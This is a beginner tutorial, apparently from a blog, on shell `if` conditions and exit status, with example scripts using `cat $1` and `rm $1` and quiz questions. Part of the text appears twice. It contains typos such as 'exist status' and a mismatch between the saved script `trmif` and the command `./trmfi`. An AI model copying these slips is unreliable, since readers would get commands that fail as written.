if cat command finds foo file and if its successfully shown on screen, it means our cat command is successful and its exist status is 0 (indicates success), So our if condition is also true and hence statement echo -e "\n\nFile $1, found and successfully echoed" is proceed by shell. Now if cat command is not successful then it returns non-zero value (indicates some sort of failure) and this statement echo -e "\n\nFile $1, found and successfully echoed" is skipped by our shell.
Exercise
Write shell script as follows:
cat > trmif
#
# Script to test rm command and exist status
#
if rm $1
then
echo "$1 file deleted"
fi
Press Ctrl + d to save
$ chmod 755 trmif
Answer the following question in referance to above script:
(A) foo file exists on your disk and you give command, $ ./trmfi foo what will be output?
(B) If bar file not present on your disk and you give command, $ ./trmfi bar what will be output?
(C) And if you type $ ./trmfi What will be output?
if condition
if condition which is used for decision making in shell script, If given condition is true then command1 is executed.
Syntax:
if condition
then
command1 if condition is true or if exit status
of condition is 0 (zero)
...
...
fi
Condition is defined as:
"Condition is nothing but comparison between two values."
For compression you can use test or [ expr ] statements or even exist status can be also used.
Expreession is defined as:
"An expression is nothing but combination of values, relational operator (such as >,<, <> etc) and mathematical operators (such as +, -, / etc )."
Following are all examples of expression:
5 > 2
3 + 6
3 * 65
a < b
c > 5
c > 5 + 30 -1
Type following commands (assumes you have file called foo)
$ cat foo
$ echo $?
The cat command return zero(0) i.e. exit status, on successful, this can be used, in if condition as follows, Write shell script as
$ cat > showfile
#!/bin/sh
#
#Script to print file
#
if cat $1
then
echo -e "\n\nFile $1, found and successfully echoed"
fi
Run above script as:
$ chmod 755 showfile
$./showfile foo
Shell script name is showfile ($0) and foo is argument (which is $1).Then shell compare it as follows:
if cat $1 which is expanded to if cat foo.
Detailed explanation
if cat command finds foo file and if its successfully shown on screen, it means our cat command is successful and its exist status is 0 (indicates success), So our if condition is also true and hence statement echo -e "\n\nFile $1, found and successfully echoed" is proceed by shell. Now if cat command is not successful then it returns non-zero value (indicates some sort of failure) and this statement echo -e "\n\nFile $1, found and successfully echoed" is skipped by our shell.
Exercise
Write shell script as follows:
cat > trmif
#
# Script to test rm command and exist status
#
if rm $1
then
echo "$1 file deleted"
fi
Press Ctrl + d to save
$ chmod 755 trmif
Answer the following question in referance to above script:
(A) foo file exists on your disk and you give command, $ ./trmfi foo what will be output?
(B) If bar file not present on your disk and you give command, $ ./trmfi bar what will be output?
(C) And if you type $ ./trmfi What will be output?
Subscribe to:
Posts (Atom)